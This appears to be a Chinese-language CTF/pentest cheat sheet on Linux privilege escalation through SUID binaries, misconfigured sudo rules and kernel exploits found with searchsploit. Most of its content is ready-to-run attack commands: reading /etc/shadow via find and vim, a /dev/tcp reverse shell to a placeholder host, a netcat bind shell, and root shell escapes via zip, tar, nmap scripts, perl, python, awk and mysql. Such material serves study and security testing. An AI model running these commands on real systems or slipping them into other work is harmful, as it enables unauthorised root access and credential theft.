SUID 提权

具有suid权限的⼆进制可执⾏⽂件有:

1
2
3
4
5
6
7
8
9
10
11
nmap
vim
find
bash
more
less
nano
cp
awk
data
...

查看具有 SUID 权限的命令

1
2
3
4
5
find / -perm -u=s -type f 2>/dev/null > ./1.txt
# or
find / -user root -perm -4000 -print 2>/dev/null
# or
find / -user root -perm -4000 -exec ls -ldb {} \;

参数解释:

  • -perm : find 命令的选项,按照权限进行匹配
  • -u=s : 匹配具有 SUID 权限的文件
  • -type f : find 命令的选项,只匹配文件,不包括目录、链接等
  • 2>/dev/null : 将错误信息重定向到 /dev/null 文件,即不显示错误信息

然后根据得到的结果,寻找可利用命令进行提权

利用方法

date -f

该命令根据文件的内容,读出里面的日期信息

如果让他读取一些不含有时间内容的文件,他会以报错的形式把文档内容读取出来

因此可以利用该命令,读取本来不可读的文件内容

1
2
3
date -f /flag
# or
date -f /flag 2>1.txt # 将报错结果写入文件

nmap

较旧的 nmap(2.02 至 5.21)具有交互模式,允许用户执行 shell 命令

执行 nmap --interactive 进入交互模式

使用以下命令得到一个提升的 shell

1
2
3
4
nmap> !sh
sh-3.2
# whoami
root

也可以使用 Metasploit 模块对 Nmap 的二进制文件进行提权

1
exploit/unix/local/setuid_nmap

find

  • 查看普通用户没有权限的文件
1
2
3
find /usr/bin/find -exec cat /etc/shadow \;

# -exec find 命令的选项,用于对找到的每个文件执行指定的命令
  • 反弹 shell
1
find /etc/passwd -exec bash -i >& /dev/tcp/ip/port 0>&1 \;
  • 结合 netcat
1
find /etc/passwd -exec netcat -lvp 5555 -e /bin/sh \;

然后连接到目标机会直接获得一个 root 权限的 shell

1
netcat <target_ip> 5555

vim.tiny

如果 Vim 具有 SUID 权限,那么它会继承 root 用户的权限,因此可以读取系统上的所有文件

1
vim.tiny /etc/shadow

此外,还可以进入 vim.tiny,获得一个 root 的 shell

1
2
3
4
5
6
vim.tiny
# press ESC key
:shell

$ whoami
root

bash

以下命令将以 root 权限打开一个 bash shell

1
bash -p

less & more

1
2
less /etc/passwd
!/bin/sh

base64

1
base64 "/flag/flag01" | base64 --decode

diff

1
diff --line-format=%L /dev/null /home/flag/flag01.txt

sudo 提权

sudo 是临时提权的命令,使用这个命令可以让普通用户在执行系统命令时使用 root 的权限

普通用户具备哪些执行系统命令的权限是由 /etc/sudoers 配置文件授权规则的

/etc/sudoers 文件权限配置语法:

1
2
3
4
%wheel ALL=(ALL) ALL
username ALL=(root) NOPASSWD: /usr/bin/find
xiaoming ALL=(ALL) ALL
# 该配置表明 xiaoming 用户能用 `sudo` 执行全部的命令
  • 第一个词表示用户名,% 表明是一个用户组
  • 第一个 ALL 表示允许从任何终端、机器访问 sudo
  • 第二个 (ALL) 表示 sudo 允许以任何用户的身份执行
  • 第三个 ALL 表示 sudo 可以执行所有命令

可以使用 vim /etc/sudoersvisudo 编辑该文件

sudo 配置不当

可以使用 sudo -l 命令查看当前用户在使用 sudo 时的权限和相关信息

看是否存在类似下面的结果:

1
2
User solr may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/grc

上面示例说明用户 solr 可以无需输入密码即可以 root 身份运行 grc 命令

因此,便可以利用这些配置不当的命令进行提权

下面将列举一些命令的提权利用方式

更多可以利用的命令提权方法可以从 GTFOBins 网站查看

grc

1
2
3
sudo grc --pty /bin/bash -i
sudo grc --pty /bin/sh
# --pty: 生成一个交互式伪终端

find

1
2
sudo find /home -exec /bin/bash \;
# --exec: 表示对 `find` 找到的每个文件执行一个操作

zip

1
2
3
sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
# --unzip-command: 指定解压时使用的命令
# -T : 表示测试文件的完整性

tar

1
2
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
# --checkpoint-action: 在指定的检查点执行自定义操作

nmap

低版本的 nmap 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh 命令即可完成提权

1
2
echo "os.execute('/bin/bash')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

more

1
2
3
sudo more /etc/hosts
# 在命令模式下输入下面内容即可获得 root 权限的 bash
!/bin/bash

git

1
2
3
sudo git help status
# 同理
!/bin/bash

ftp

1
2
sudo ftp
ftp> !/bin/bash

vim

1
sudo vim -c '!bash'

perl

1
sudo perl -e 'exec "/bin/bash";'

python

1
sudo python -c 'import pty;pty.spawn("/bin/bash")'

less

1
2
3
sudo less /etc/hosts
v
:shell

awk

1
sudo awk 'BEGIN {system("/bin/bash")}'

man

1
2
sudo man man
!/bin/bash

vi

1
2
sudo vi
:!bash

base64

1
sudo base64 "file_to_read" | base64 --decode

mysql

1
2
sudo mysql -e '\! find / -name flag*' 
sudo /usr/bin/mysql -e '\! bash -i'

Linux 内核提权

查看 Linux 相关信息

  • 查看内核版本
1
2
3
uname -a 
uname -r
cat /proc/version # 查看 Linux 内核的版本信息及相关的编译信息
  • 显示 LSB 版本所有信息
1
lsb_release -a  # 系统不一定有该命令
  • 查看 Linux 版本信息
1
cat /etc/issue
  • 查看 Linux 详细版本信息
1
cat /etc/*-release

searchsploit 利用

  • 寻找内核版本漏洞
1
searchsploit 6.6.9
  • 拷贝漏洞利用脚本到当前文件夹
1
searchsploit -m 40839.c
  • 利用 python 开启原创下载端口
1
python3 -m http.server
  • 登陆靶机下载脚本,根据脚本代码不同,选择不同方式运行
    • sh 脚本文件,赋予权限执行即可
    • c 文件,通常是需要 gcc 编译,再给编译后的文件赋予权限,最后执行